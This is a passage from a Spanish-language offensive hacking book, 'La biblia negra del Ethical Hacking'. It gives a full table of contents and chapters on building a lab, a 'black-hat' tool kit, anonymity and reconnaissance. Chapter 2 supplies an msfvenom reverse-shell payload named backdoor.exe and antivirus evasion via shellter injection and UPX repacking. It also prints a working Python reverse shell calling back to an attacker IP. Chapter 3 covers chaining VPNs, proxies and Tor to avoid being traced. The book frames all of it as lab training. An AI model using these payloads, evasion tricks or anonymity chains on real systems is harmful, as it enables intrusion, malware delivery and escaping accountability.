**La biblia negra del Ethical Hacking**

Alejandro G Vera

### 📚 Índice Detallado

**La Biblia Negra del Ethical Hacking** *Tácticas ocultas de hackers, no apto para cardíacos* por **Alejandro G Vera**

### Índice Completo Prólogo

Advertencia y responsabilidad legal Filosofía del hacker ofensivo

Lo que no encontrarás en este libro

La delgada línea entre lo ético y lo ilegal

### Capítulo 1 – Entornos de Guerra Digital

Montando laboratorios aislados para pruebas ofensivas extremas Principios del Laboratorio de Hacking Ético

Componentes Necesarios Preparando la Infraestructura Desplegando Máquinas Virtuales Simulando una Empresa Real Seguridad del Laboratorio Ejemplo de Escenario Completo

Ejercicio Práctico - Comprobando la Red Próximos Pasos

### Capítulo 2 – Sistema de Herramientas Black-Hat

Compilación, personalización y ocultamiento de utilidades ofensivas

Clasificación del Arsenal Black-Hat

Compilando Herramientas desde el Código Fuente Modificando Exploits Públicos

Creación de Payloads Personalizados con msfvenom Ofuscación y Evasión de Antivirus

Scripts Portables para Ataques Rápidos Gestión del Arsenal

Ejercicio Práctico - Kit de Ataque Express Cierre

### Capítulo 3 – Anonimato y Clandestinidad Digital

Ocultando tu rastro y moviéndote como un fantasma en la red Fundamentos del anonimato

Infraestructura básica de anonimato Uso de VPNs Multi-Hop

Cadenas de Proxys Tor como Capa Extra Túneles SSH Inversos

Fingerprinting y Defensa Entornos Burner (desechables)

Ejercicio Práctico - Capa triple de anonimato Precauciones Finales

### Capítulo 4 – Reconocimiento Agresivo y Subterráneo

Mapeando el terreno antes del ataque y recolectando datos como un cazador digital Tipos de Reconocimiento

Reconocimiento Pasivo OSINT Extremo Escaneo Activo - Mapeo de la Red Fingerprinting de Servicios Recolección de Subdominios

Escaneo de Vulnerabilidades en Web Reconocimiento Subterráneo - Fuentes Filtradas Uso de Shodan para loT y Servicios Expuestos Combinación de Datos

Ejercicio Práctico - Recon total de un objetivo en laboratorio Seguridad del Reconocimiento

Cierre

### Capítulo 5 – Explotación de Vulnerabilidades de Cero Días (Zero-Day)

El arte de atacar antes de que el mundo sepa que la falla existe Ciclo de vida de un Zero-Day

Técnicas para Descubrir Zero-Days en Laboratorio Creación de Exploits para 0-Day (Laboratorio) Simulación de un 0-Day en un Servicio Web Vulnerable Encadenando 0-Day con Post-Explotación

Ejemplo Completo de Laboratorio Defensa contra 0-Day

Cierre

### Capítulo 6 – Ataques de Ingeniería Social de Alto Impacto

Rompiendo la seguridad técnica a través de las debilidades humanas Principios de la Ingeniería Social

Tipos Comunes de Ataques

Montando un Laboratorio de Ingeniería Social Ejemplo 1 - Campaña de Phishing Controlado Ejemplo 2 - Vishing (Simulación Telefónica) Ejemplo 3 - Smishing

Ejemplo 4 - Baiting con Dispositivo USB Ejemplo 5 - Pretexting Avanzado Medidas Defensivas

Ejercicio Práctico - Simulación Completa Cierre

### Capítulo 7 – Pentesting Extremo

Llevando las pruebas de penetración al límite en entornos controlados Metodología de Pentesting Extremo

Configuración de Laboratorio Reconocimiento Agresivo Explotación Encadenada Escalada de Privilegios Creativa Movimiento Lateral Masivo Persistencia Multi-Capa

Ataques Destructivos en Laboratorio Ejercicio Práctico Completo

Cierre

### Capítulo 8 – Escalada de Privilegios Creativa

Transformando accesos limitados en control absoluto del sistema Tipos de Escalada

Escalada en Windows Escalada en Linux

Escalada en entornos mixtos Creatividad en la Escalada Ejercicio Práctico Completo Medidas Defensivas

Cierre

### Capítulo 9 – Carding: Anatomía y Simulación en Laboratorio

Destripando el fraude con tarjetas para comprenderlo y prevenirlo Anatomía de una Tarjeta

Generación de Datos Simulados

Escenario de Laboratorio Skimming en Laboratorio

Captura en Tránsito (Man-in-the-Middle) Validación de BIN y Luhn Check Clonación Simulada

Uso Fraudulento Simulado Detección y Prevención Ejercicio Práctico Completo Cierre

### Capítulo 10 – Mercados Negros y Transacciones Anónimas

Cómo operan las economías clandestinas digitales y cómo simularlas en un entorno seguro Componentes de un Mercado Negro Digital

Simulación de un Mercado Negro en Laboratorio Acceso a través de Tor

Transacciones con Criptomonedas de Prueba Uso de Monero en Laboratorio

Sistema de Escrow Simulado Seguridad del Mercado

Análisis Forense de un Mercado Negro Simulado Ejercicio Práctico Completo

Riesgos Reales y Contramedidas Cierre

### Capítulo 11 – Hombre en el Medio (MitM) al Límite

Interceptando, manipulando y explotando el tráfico como un depredador digital invisible Tipos de MitM

Montando el Laboratorio ARP Spoofing con Ettercap DNS Spoofing

Manipulación de HTTP

SSL Strip - Downgrade de HTTPS Intercepción con mitmproxy Inyección de Scripts en Descargas Captura de Credenciales

Ejercicio Práctico Completo Detección y Contramedidas Cierre

### Capítulo 12 – DoS y DDoS de Nivel Militar

Cómo saturar sistemas al punto de dejarlos sin aliento... y cómo defenderse de ello Clasificación de Ataques

Laboratorio de Pruebas Ataques Volumétricos Ataques de Protocolo Ataques a Nivel de Aplicación Simulación de DDOS Medición de Impacto Defensas contra DoS/DDoS Ejercicio Práctico Completo Cierre

### Capítulo 13 – Web Hacking sin Piedad

Tomando el control total de aplicaciones y servidores web sin dejar piedra sobre piedra Principales Vectores de Ataque

Preparando el Laboratorio SQL Injection (SQLi)

Cross-Site Scripting (XSS) Command Injection

File Upload Vulnerability

Path Traversal

Enumeración de Directorios y Archivos Escalada desde Web Shell a Control Total Automatización de Ataques

Ejercicio Práctico Completo Contramedidas

Cierre

### Capítulo 14 – Wireless Hacking Avanzado

Rompiendo la seguridad de redes inalámbricas modernas con precisión quirúrgica Herramientas y Hardware

Configuración del Laboratorio Captura de Handshake WPA/WPA2 Crackeo de Contraseña

Ataques Evil Twin

WPA3 Cracking con Downgrade Ataques WPS

Rogue AP + Captura de Credenciales Ejercicio Práctico Completo

Medidas Defensivas Cierre

### Capítulo 15 – Hacking con Dispositivos Móviles

Transformando smartphones en armas digitales y objetivos de alto valor Escenarios de Ataque y Uso Ofensivo

Hacking con Android Hacking con iOS

Comprometiendo Dispositivos Android Comprometiendo Dispositivos iOS Ataques vía Ingeniería Social

Ataques vía Red Persistencia en Móviles Ejercicio Práctico Completo Medidas Defensivas

Cierre

### Capítulo 16 – Clonación de SIM y Ataques IMSI Catcher

Interceptando y manipulando la identidad móvil como un operador encubierto Anatomía de una Tarjeta SIM

Hardware y Software Necesario Extracción de Datos de SIM Clonación de SIM en Blanco Introducción a IMSI Catchers

Montando un IMSI Catcher de Laboratorio Ataques con IMSI Catcher

Ejercicio Práctico Completo Contramedidas

Cierre

### Capítulo 17 – Control Remoto de Dispositivos Móviles (Android e iOS)

Tomando el mando de un smartphone como si estuvieras en sus propios dedos Escenarios de Uso en Laboratorio

Control Remoto en Android Control Remoto en iOS

Persistencia en Dispositivos Móviles Exfiltración de Datos

Ataques vía Ingeniería Social Ejercicio Práctico Completo Contramedidas

Cierre

### Capítulo 18 – Android como Plataforma de Ataque

Convertir un smartphone en un kit ofensivo portátil y autónomo Preparación del Entorno

Instalando Kali NetHunter Uso de Termux para Hacking

Escaneo de Redes desde Android Hacking Wi-Fi desde Android Ataques Web desde Android

Integración de SDR para Capturas de Radiofrecuencia Uso de Android como Servidor C2 (Comando y Control) Ejercicio Práctico Completo

Ventajas y Limitaciones Medidas Defensivas Cierre

### Capítulo 19 – Clonación de SIM: Escenarios Avanzados

Operaciones combinadas y persistencia en identidad móvil para entornos controlados Escenarios de Laboratorio Avanzados

Hardware y Software Clonación con Persistencia Clonación + IMSI Catcher Clonación Rotativa

Ejemplo Completo de Laboratorio Uso de SDR para Análisis de Tráfico Contramedidas Avanzadas

Ejercicio Práctico Completo Cierre

### Capítulo 20 – Hombre en el Medio en Redes Móviles

Interceptando y manipulando comunicaciones celulares en entornos controlados

Principios del MitM Celular Requisitos del Laboratorio Montando la BTS Falsa

Captura de IMSI y Autenticación Downgrade de Cifrado Interceptando Tráfico Manipulación de Tráfico

MitM LTE y 5G

Ejercicio Práctico Completo Contramedidas

Cierre

### Capítulo 21 – Rootkits Invisibles

Control absoluto y sigiloso del sistema operativo Tipos de Rootkits

Entorno de Laboratorio

Rootkit en Modo Usuario (Ejemplo en Python) Rootkit en Modo Kernel (Linux)

Ocultando Procesos

Rootkit en Windows (Hooking DLL) Persistencia

Ejercicio Práctico Completo Detección y Eliminación Cierre

### Capítulo 22 – Malware Fileless

El arte de atacar sin dejar huellas en disco Características Clave

Entorno de Laboratorio

Ejemplo de Ataque Fileless con PowerShell

Fileless usando WMI (Windows Management Instrumentation) Fileless en Linux (Bash + /dev/shm)

Técnicas de Entrega Ejercicio Práctico Completo Detección

Contramedidas Cierre

### Capítulo 23 – Keyloggers Indetectables

La captura silenciosa de cada pulsación Tipos de Keyloggers

Entorno de Laboratorio Keylogger en Python (Windows) Keylogger en Linux (C+X11) Keylogger en Modo Kernel (Linux) Persistencia Sigilosa

Exfiltración de Datos Ejercicio Práctico Completo Detección y Mitigación Cierre

### Capítulo 24 – Ataques a Cadenas de Suministro (Supply Chain Attacks)

Comprometiendo el software y hardware antes de que llegue a su destino Tipos de Ataques de Cadena de Suministro

Escenario de Laboratorio - Software Escenario de Laboratorio - Hardware

Escenario de Laboratorio - Inyección en Pipeline CI/CD Ejemplo Completo de Backdoor en Librería NPM Persistencia y Evasión

Ejercicio Práctico Completo

Detección Contramedidas Cierre

### Capítulo 25 – Exfiltración de Datos Encubierta

Sacando información sin levantar alarmas Preparación del Laboratorio

Proceso General de Exfiltración Método 1 - Exfiltración vía HTTP(S) Método 2 - DNS Tunneling Método 3 – ICMP (Ping) Tunneling Método 4 - Esteganografía

Método 5 - Canales en Servicios Cloud Ejercicio Práctico Completo

Detección Contramedidas Cierre

### Capítulo 26 – Hacking Físico y Seguridad de Acceso

Comprometiendo el mundo físico para abrir puertas digitales Tipos de Objetivos en Hacking Físico

Herramientas Básicas de Laboratorio Ataques a Cerraduras Mecánicas

Ataques a Cerraduras Electrónicas RFID/NFC Ataques a Sistemas de Teclado Numérico Ataques a Sistemas Biométricos

Ataques a Dispositivos Desatendidos

Ejemplo Completo de Laboratorio - Clonación RFID Persistencia Física

Detección y Contramedidas

Cierre

### Capítulo 27 – Ingeniería Social Avanzada

El arte de hackear la mente antes de hackear el sistema Principios Psicológicos Fundamentales

Preparación de un Ataque de Ingeniería Social Ejemplo de OSINT Automatizado

Técnicas de Ingeniería Social Avanzada Escenario de Laboratorio - Spear Phishing Escenario de Laboratorio - Pretexting Telefónico Ejercicio Práctico Completo

Detección y Prevención Cierre

### Capítulo 28 – OSINT Avanzado

Inteligencia de fuentes abiertas para la caza digital Ciclo de OSINT

Fuentes de OSINT

Herramientas de OSINT Avanzado

Ejemplo de Búsqueda Avanzada en Google (Google Dorks) Ejemplo con theHarvester

Ejemplo con Shodan OSINT en Redes Sociales Extracción de Metadatos Ejercicio Práctico Completo Detección y Prevención Cierre

### Capítulo 29 – Ataques a APIs y Microservicios

Explotando el esqueleto invisible de las aplicaciones modernas Arquitectura Básica de APIs y Microservicios

Principales Vulnerabilidades según OWASP API Security Top 10 Laboratorio – API BOLA (Broken Object Level Authorization) Laboratorio – Inyección SQL en API

Laboratorio – Exposición de Datos Laboratorio – Abuso de Rate Limit Ataques a Microservicios Internos Ejercicio Práctico Completo Detección y Defensa

Cierre

### Capítulo 30 – Red Teaming Avanzado

Operaciones ofensivas integrales para medir la defensa real Roles Clave en una Operación Red Team

Fases del Red Teaming Avanzado

Laboratorio de Red Teaming – Escenario Completo Herramientas Clave en Red Teaming

Simulación de Blue Team Métricas para Medir Éxito Ejercicio Práctico Completo Detección y Defensa

Cierre

### Capítulo 31 – Hacking de Infraestructura Crítica

ICS, SCADA y redes industriales: cuando un exploit apaga una ciudad Arquitectura de un Sistema Industrial

Protocolos Industriales y Riesgos Fases de un Ataque ICS/SCADA

Laboratorio – Descubrimiento de Dispositivos Industriales con Shodan Laboratorio – Interacción con Modbus

Escenario de Intrusión ICS

Ataques Avanzados

Ejercicio Completo de Laboratorio ICS Contramedidas y Defensa

Cierre

### Capítulo 32 – Hacking con Drones y Dispositivos Autónomos

Tomando el control del cielo y la tierra sin poner un pie en el objetivo Principales Superficies de Ataque

Protocolos Comunes y Riesgos Laboratorio – Interceptación de MAVLink GPS Spoofing

Hacking de Aplicaciones de Control Ejemplo de Ataque Wi-Fi

Escenario de Intrusión Completo

Hacking de Robots y Vehículos Autónomos Ejercicio Completo de Laboratorio Contramedidas

Cierre

### Capítulo 33 – Explotación de IoT Masivo

Cuando miles de dispositivos inteligentes se convierten en un ejército Superficie de Ataque IoT

Reconocimiento Masivo Escaneo y Enumeración Masiva

Explotación de Credenciales por Defecto Acceso a Streams de Cámaras IP Inyección en Paneles Web IoT

Escenario de Botnet IoT en Laboratorio Laboratorio – Propagación Automática Explotación de MQTT

Defensa Contra Explotación IoT Masiva Cierre

### Capítulo 34 – Ingeniería Social Avanzada

El arte de hackear personas antes que máquinas Principios Psicológicos que Aprovecha la Ingeniería Social Tipos Avanzados de Ingeniería Social

Escenarios Combinados

Laboratorio – Spear Phishing Personalizado Laboratorio – Pretexting Telefónico

Laboratorio – Ingreso Físico con Ingeniería Social Ataques de Ingeniería Social en Redes Sociales Ejercicio Completo – Campaña de Ingeniería Social Contramedidas y Defensa

Cierre

### Capítulo 35 – Hacking de Redes 5G y Comunicaciones Avanzadas

Explotando la columna vertebral de la hiperconectividad moderna Arquitectura 5G en Breve

Superficies de Ataque Clave Vulnerabilidades Históricas y Actualizadas

Laboratorio – IMSI Catching con Software Defined Radio (SDR) Ataques de Fuzzing al Plano de Control

Interceptación de Tráfico en 5G NSA Escenario Completo – Compromiso de Red 5G Ataques a APIs 5G

Laboratorio – Ataque al Core 5G Virtualizado Contramedidas y Defensa

Cierre

### Capítulo 36 – Deepfakes y Manipulación Multimedia para Operaciones de Ingeniería Social

Hackeando la percepción humana para abrir puertas digitales y físicas Tipos de Deepfakes y Manipulación Multimedia

Herramientas Comunes

Laboratorio – Creación de Deepfake de Rostro Laboratorio – Clonado de Voz

Escenario de Phishing con Deepfake Deepfakes en Videollamadas en Tiempo Real

Ejercicio Completo – Operación de Ingeniería Social con Deepfake Técnicas de Defensa

Cierre

### Capítulo 37 – Cierre, Despedida y Declaración Final

Reflexiones finales, responsabilidad y el verdadero sentido del hacking ético El viaje que hemos hecho juntos

El propósito de este libro

Importancia del laboratorio controlado Declaración y responsabilidad legal Hacking ético vs. hacking criminal

La mentalidad correcta

Recomendaciones para seguir aprendiendo El lado humano de la ciberseguridad Mensaje final del autor

### DISCLAIMER EXTENDIDO

Epílogo

Para quienes caminan entre la luz y la sombra

## Prólogo

**La Biblia Negra del Ethical Hacking** *Tácticas ocultas de hackers, no apto para cardíacos*

#### Advertencia y responsabilidad legal

Antes de abrir este libro, debes comprender que la información aquí expuesta tiene un carácter **educativo y**

**formativo**. No es un manual para cometer delitos, sino un compendio técnico para que un profesional pueda entender, reproducir en un entorno controlado y aprender las técnicas que los atacantes reales utilizan.

Aplicar estos conocimientos en sistemas o redes sin autorización expresa es **ilegal** en la mayoría de los países y puede conllevar sanciones penales severas. Este libro asume que tú, lector, eres un profesional o aspirante a profesional de la ciberseguridad con un alto sentido ético, dispuesto a aplicar estas técnicas **únicamente en entornos autorizados y con fines de defensa**.

⚠ **DISCLAIMER**: El autor y el editor no se hacen responsables del uso indebido de la información aquí contenida. Toda práctica debe realizarse en entornos de laboratorio o sistemas bajo tu control y consentimiento explícito del propietario.

#### Filosofía del hacker ofensivo

En el mundo de la ciberseguridad, existe un punto en el que **conocer las defensas no es suficiente**: debes pensar como un atacante. El hacker ofensivo es un estratega que entiende el terreno digital mejor que sus adversarios, conoce las debilidades humanas y técnicas, y aprovecha cualquier ventaja para lograr sus objetivos. Pero la filosofía del hacking ofensivo no es *destruir*; es **entender para proteger**. Los mejores hackers saben que el conocimiento se expande cuando se explora el lado oscuro, pero se usa para construir barreras más sólidas.

#### Lo que no encontrarás en este libro

 **Recetas mágicas** para “hackear” una cuenta de redes sociales en dos clics (esas mentiras que circulan por YouTube).

 **Contenido ilegal** como bases de datos robadas listas para usar o instrucciones para atacar sistemas reales sin permiso.

 **Información incompleta**: cada capítulo está escrito para que puedas reproducir un ataque desde cero en un laboratorio y entenderlo a nivel de bits.

#### La delgada línea entre lo ético y lo ilegal

Un Ethical Hacker camina sobre una línea fina: de un lado está la investigación legítima y autorizada; del otro, el delito. Esa línea muchas veces no es clara para quienes no conocen la ley o las políticas internas de una organización. Este libro te enseñará a **operar siempre del lado correcto**, pero usando técnicas que los atacantes criminales también emplean. Tu misión será dominar el arte de la intrusión controlada, pero nunca cruzar la frontera hacia la intrusión criminal.

💡 **Ejemplo de entorno seguro para pruebas (Bash):**

# Crear una red virtual aislada con VirtualBox

VBoxManage natnetwork add --netname LabNet --network "192.168.50.0/24" --enable --

dhcp on

# Crear dos máquinas virtuales: una víctima y un atacante VBoxManage createvm --name "Victima" --register

VBoxManage createvm --name "Atacante" --register

# (Luego podrás instalar Kali Linux en la máquina atacante y una distro vulnerable como Metasploitable en la víctima)

# Capítulo 1 – Entornos de Guerra Digital

*Montando laboratorios aislados para pruebas ofensivas extremas*

### Introducción

Antes de ejecutar cualquier ataque, necesitas un **campo de batalla controlado**. No importa cuán hábil seas con las herramientas, si no tienes un entorno seguro y aislado, corres el riesgo de dañar redes reales o exponerte a acciones legales. Este capítulo te enseñará a crear un **laboratorio de guerra digital** desde cero, replicando las condiciones de un entorno real pero sin afectar sistemas externos.

### Principios del Laboratorio de Hacking Ético

Un buen laboratorio debe:

 **Ser aislado de Internet real** para evitar fugas.

 **Simular redes corporativas** con múltiples segmentos (DMZ, LAN, VLAN).

 Permitir el despliegue rápido de sistemas vulnerables y herramientas ofensivas.  Ser **repetible**, es decir, que puedas reconstruirlo si algo sale mal.

### Componentes Necesarios

**Componente Descripción**

**Hardware** PC o laptop con mínimo 16GB RAM, CPU multinúcleo, 250GB de disco libre.

**Software base** VirtualBox, VMware Workstation o Proxmox (virtualización).

**Sistemas de prueba**

Kali Linux (atacante), Metasploitable2, DVWA, OWASP Broken Web Apps, Windows Server vulnerable.

**Red virtual** NAT, Host-Only y adaptadores internos.

### Preparando la Infraestructura

Aquí configuraremos una **red virtual interna** donde coexistirán los sistemas de ataque y de defensa.

Paso 1: Instalar VirtualBox (Ejemplo en Debian/Ubuntu)

sudo apt update && sudo apt install virtualbox virtualbox-ext-pack -y

Paso 2: Crear la red Host-Only

VBoxManage hostonlyif create

VBoxManage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1 --netmask 255.255.255.0

Paso 3: Configurar el NAT para simular Internet interno

VBoxManage natnetwork add --netname LabNet --network "192.168.50.0/24" --enable -- dhcp on

### Desplegando Máquinas Virtuales

##### Máquina Atacante (Kali Linux)

 **CPU:** 2 núcleos

 **RAM:** 4GB

 **Red:** Adaptador NAT + Host-Only (para comunicarse con las víctimas).

Ejemplo de instalación automatizada:

VBoxManage createvm --name "Kali" --ostype "Debian\_64" --register

VBoxManage modifyvm "Kali" --memory 4096 --cpus 2 --nic1 natnetwork --nat-network1 LabNet

VBoxManage modifyvm "Kali" --nic2 hostonly --hostonlyadapter2 vboxnet0

##### Máquina Víctima (Metasploitable 2)

 Sistema vulnerable intencionalmente.

 **Red:** Host-Only para aislarla de Internet.

VBoxManage createvm --name "Victima-MS2" --ostype "Ubuntu\_64" --register

VBoxManage modifyvm "Victima-MS2" --memory 2048 --cpus 1 --nic1 hostonly -- hostonlyadapter1 vboxnet0

##### Servidor Windows Vulnerable

Útil para practicar explotación de SMB, RDP, y Active Directory mal configurado.

### Simulando una Empresa Real

Una red corporativa típica tiene:

 **LAN interna:** usuarios y PCs comunes.

 **DMZ:** servidores web, correo y VPN expuestos.

 **Servidor de logs y monitoreo.**

Podemos replicar esto con 3 redes virtuales:

1. **192.168.10.0/24** (LAN interna)
2. **192.168.20.0/24** (DMZ)
3. **192.168.30.0/24** (Administración)

### Seguridad del Laboratorio

 Bloquea la salida a Internet real en las máquinas víctimas.

 Usa snapshots antes y después de ataques para restaurar el estado.  Documenta cada cambio en un **cuaderno de bitácora**.

### Ejemplo de Escenario Completo

[Atacante: Kali Linux]

↕ Host-Only Network ↕

[Víctima 1: Metasploitable 2]

[Víctima 2: Windows Server 2012 con SMBv1 habilitado] [Víctima 3: DVWA en Ubuntu Server]

* 1. Ejercicio Práctico – Comprobando la Red

En Kali:

ip addr show

ping 192.168.56.101 # IP de la víctima nmap -sP 192.168.56.0/24

### Próximos Pasos

Con este laboratorio montado, podrás practicar:  Escaneo de puertos y servicios.

 Explotación de vulnerabilidades.

 Persistencia y escalada de privilegios.

💡 **TIP:** Guarda un snapshot inicial llamado Limpio y uno posterior a cada ataque para evitar tener que reinstalar todo.

# Capítulo 2 – Sistema de Herramientas Black-Hat

*Compilación, personalización y ocultamiento de utilidades ofensivas*

### Introducción

En el arsenal de un hacker ofensivo, las herramientas son como las armas de un soldado: no basta con tenerlas, hay que saber **cómo fabricarlas, adaptarlas y esconderlas** para que funcionen de manera óptima sin ser detectadas. Este capítulo no se limita a enumerar utilidades; vamos a construirlas, modificarlas y ajustarlas para maximizar su eficacia en un laboratorio de guerra digital.

**Objetivo:** al final de este capítulo, tendrás un **kit Black-Hat personalizado**, con binarios ofuscados, scripts optimizados y un flujo de trabajo para desplegar ataques en cuestión de segundos.

### Clasificación del Arsenal Black-Hat

**Categoría Herramientas Uso**

**Reconocimiento** nmap, masscan, theHarvester Mapear redes y recolectar datos.

**Explotación** metasploit, exploit-db, sqlmap Aprovechar vulnerabilidades.

**Post-**

**explotación** empire, Cobalt Strike, linpeas, mimikatz

**Persistencia** netcat, backdoors en Python/Bash, DLL

hijacking

Mantener acceso y escalar privilegios.

Reingresar después de un reinicio.

**Anti-forense** shred, bleachbit, timestomping Borrar huellas.

### Compilando Herramientas desde el Código Fuente

Los antivirus y EDRs detectan firmas conocidas en ejecutables populares. Una técnica clásica para evadir detección es **compilar desde el código fuente**, aplicando ligeros cambios.

##### Ejemplo: Compilar Nmap desde cero (Linux)

sudo apt update && sudo apt install build-essential libssl-dev libpcap-dev -y wget https://nmap.org/dist/nmap-7.94.tar.bz2

tar -xvjf nmap-7.94.tar.bz2

cd nmap-7.94

./configure make

sudo make install

💡 **Ventaja:** tu binario no tendrá la misma huella que el oficial.

### Modificando Exploits Públicos

Muchos exploits de exploit-db son detectados por antivirus porque su código es conocido. Cambiar nombres de funciones, variables y cadenas de texto puede ayudar.

Ejemplo de modificación en Python:

# Original: [https://www.exploit-db.com/exploits/12345](http://www.exploit-db.com/exploits/12345) import socket

def pwn(target\_ip, target\_port):

payload = b"\x90" \* 100 + b"<shellcode>"

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) s.connect((target\_ip, target\_port))

s.send(payload) s.close()

if name == " main ":

pwn("192.168.56.101", 21)

 Cambia "192.168.56.101" por la IP de tu laboratorio.

 Sustituye <shellcode> por código generado con msfvenom.

### Creación de Payloads Personalizados con msfvenom

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.56.10 LPORT=4444 -f exe

-o backdoor.exe

Opciones clave:

 -p: payload a usar.

 LHOST: IP de tu máquina atacante.

 LPORT: puerto de escucha.

 -f: formato de salida (exe, elf, py, etc.).

 -o: nombre del archivo.

### Ofuscación y Evasión de Antivirus

##### Uso de shellter

shellter permite inyectar payloads en ejecutables legítimos.

sudo apt install shellter sudo shellter

# Selecciona modo automático, payload y ejecutable base (por ejemplo: calc.exe)

##### Empaquetar con pyinstaller

Si tienes un script en Python:

pyinstaller --onefile --noconsole script.py

Puedes luego modificar el binario con UPX para compresión y cambio de huella:

upx --best script

### Scripts Portables para Ataques Rápidos

Ejemplo de backdoor en Python:

import socket,subprocess,os

s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM) s.connect(("192.168.56.10",4444))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

subprocess.call(["/bin/bash","-i"])

En el atacante:

nc -lvnp 4444

### Gestión del Arsenal

Organiza las herramientas en carpetas:

/BlackHatKit

/Recon

/Exploitation

/PostExploitation

/Persistence

/AntiForensic

Incluye un README con:

 Descripción de cada herramienta.  Comando básico de uso.

 Dependencias.

### Ejercicio Práctico – Kit de Ataque Express

1. Crea una VM con Kali Linux.
2. Instala nmap, metasploit, sqlmap, netcat.
3. Compila nmap desde código.
4. Genera un payload msfvenom y ejecútalo en Metasploitable 2.
5. Documenta el flujo.

### Cierre

Este capítulo te ha dado las bases para construir tu **arsenal Black-Hat**: no dependas solo de herramientas prehechas; entiéndelas, modifícalas y adáptalas. La próxima vez que un antivirus intente detenerte en el laboratorio, tendrás cómo evadirlo.

# Capítulo 3 – Anonimato y Clandestinidad Digital

*Ocultando tu rastro y moviéndote como un fantasma en la red*

### Introducción

En el hacking ofensivo, **no ser visto es tan importante como no dejar pruebas**. La mayoría de atacantes caen porque subestiman la capacidad de rastreo: direcciones IP, huellas del navegador, patrones de tráfico y metadatos incriminatorios. Este capítulo te enseñará a **enmascararte digitalmente** para que tu actividad de laboratorio parezca provenir de cualquier parte… excepto de ti.

**Objetivo:** aprenderás a encadenar proxys, usar VPNs multi-hop, montar túneles SSH inversos, manipular tu fingerprint digital y configurar entornos “burner” (desechables).

### Fundamentos del anonimato

Para que el anonimato funcione:

 **Separación total** de identidad real y digital falsa.

 **Aislamiento físico** (hardware dedicado).

 **Evasión de huellas** (software, tráfico, horarios de conexión).

 **Destrucción segura** de cualquier rastro cuando termines.

### Infraestructura básica de anonimato

|  |  |  |
| --- | --- | --- |
| **Capa** | **Técnica** | **Ejemplo** |
| **IP Layer** | VPN, Tor, Proxy encadenado | NordVPN → Tor → Proxy privado |
| **Transport Layer** | SSH tunneling, VPN dentro de VPN | ssh -D 9050 user@host |
| **Application Layer** | Navegadores seguros, aislados | Firefox ESR con plugins de privacidad |
| **Hardware Layer** | Máquinas desechables | Laptop usada solo para laboratorio |

* 1. Uso de VPNs Multi-Hop

Una VPN multi-hop enruta tu tráfico por varios servidores antes de salir a Internet, dificultando la trazabilidad.

##### Ejemplo: OpenVPN multi-hop manual

# Primer salto (VPN 1)

sudo openvpn --config vpn1.ovpn &

# Encadenar con un segundo túnel (VPN 2)

sudo openvpn --config vpn2.ovpn --route-nopull --route 0.0.0.0 0.0.0.0

💡 Combinar VPNs de distintos proveedores añade capas legales en diferentes jurisdicciones.

### Cadenas de Proxys

Un proxy encadenado distribuye tu conexión a través de múltiples nodos. Ejemplo con proxychains en Kali:

sudo apt install proxychains4 nano /etc/proxychains4.conf

Configura:

|  |  |
| --- | --- |
| socks5 | 127.0.0.1 9050 |
| socks4 | 203.0.113.10 1080 |
| http | 198.51.100.5 8080 |

Ejecuta:

strict\_chain proxy\_dns

[ProxyList]

proxychains nmap -sT scanme.nmap.org

### Tor como Capa Extra

Tor en modo oculto:

sudo apt install tor tor --RunAsDaemon 1 proxychains firefox

 Evita plugins que filtren IP real.  Usa siempre HTTPS.

### Túneles SSH Inversos

Permiten acceder a tu máquina detrás de NAT o firewall. En el servidor remoto:

ssh -R 4444:localhost:22 user@remote\_server

Desde el servidor remoto:

ssh -p 4444 user@localhost

💡 Útil para control remoto sigiloso de entornos de laboratorio.

### Fingerprinting y Defensa

Tu navegador y sistema exponen una “huella” única (user agent, fuentes, resolución, etc.).

##### Herramientas para verificar fingerprint:

https://amiunique.org

https://browserleaks.com

Reducción de huella en Firefox:

 Desactivar WebGL y WebRTC.

 User-Agent rotatorio con user-agent-switcher.

### Entornos Burner (desechables)

Un **entorno burner** es un sistema que:  Se instala rápido.

 No guarda datos.

 Se destruye después de usarlo.

##### Ejemplo con Tails OS

# Descargar y grabar Tails en USB

sudo dd if=tails.iso of=/dev/sdX bs=4M status=progress

Arrancas desde el USB, trabajas y al apagar se borra todo.

### Ejercicio Práctico – Capa triple de anonimato

* + 1. Inicia Tails OS desde USB.
    2. Conéctate a una VPN.
    3. Abre Tor Browser dentro de Tails.
    4. Ejecuta proxychains para añadir un proxy adicional.
    5. Comprueba tu IP en [ipleak.net](https://ipleak.net/).

### Precauciones Finales

 Nunca mezclar actividades reales con las del laboratorio en el mismo entorno.  Evitar login en cuentas personales desde máquinas de pruebas.

 No confiar solo en una capa: siempre encadenar técnicas.

💡 **TIP Black-Hat Ético:** incluso en laboratorio, acostúmbrate a moverte como si estuvieras en un entorno hostil y perseguido. La disciplina de anonimato se aprende practicándola siempre.

# Capítulo 4 – Reconocimiento Agresivo y Subterráneo

*Mapeando el terreno antes del ataque y recolectando datos como un cazador digital*

### Introducción

En el arte del hacking ofensivo, el **reconocimiento** es la fase donde se decide gran parte del éxito de una operación. Un ataque sin un buen reconocimiento es como atacar un castillo sin saber dónde están las murallas más débiles. En este capítulo, aprenderás técnicas de **reconocimiento agresivo y subterráneo**, combinando OSINT (Open Source Intelligence), fingerprinting sigiloso y acceso a fuentes de datos filtradas para entender a fondo el objetivo en un entorno controlado de laboratorio.

**Objetivo:** serás capaz de construir un mapa digital completo del objetivo antes de lanzar cualquier exploit.

### Tipos de Reconocimiento

**Tipo Descripción Herramientas comunes**

**Pasivo** No interactúa directamente con el objetivo. Google Dorks, theHarvester,

Shodan

**Activo** Interactúa con el objetivo, enviando paquetes o peticiones.

**Subterráneo** Utiliza fuentes “deep” y “dark” web, bases de datos filtradas.

Nmap, Masscan, WhatWeb Ahmia, HIBP API, Recon-ng

### Reconocimiento Pasivo – OSINT Extremo

##### Google Dorks

Buscar información indexada por Google que no debería ser pública:

site:example.com filetype:pdf

site:example.com intitle:"index of" inurl:admin

##### theHarvester

Recolecta correos, subdominios y nombres de host:

theHarvester -d example.com -b google,bing,linkedin

### Escaneo Activo – Mapeo de la Red

##### Nmap

Escaneo rápido:

nmap -sS -T4 192.168.56.0/24

Escaneo completo con scripts:

nmap -A -p- 192.168.56.101

##### Masscan (alta velocidad)

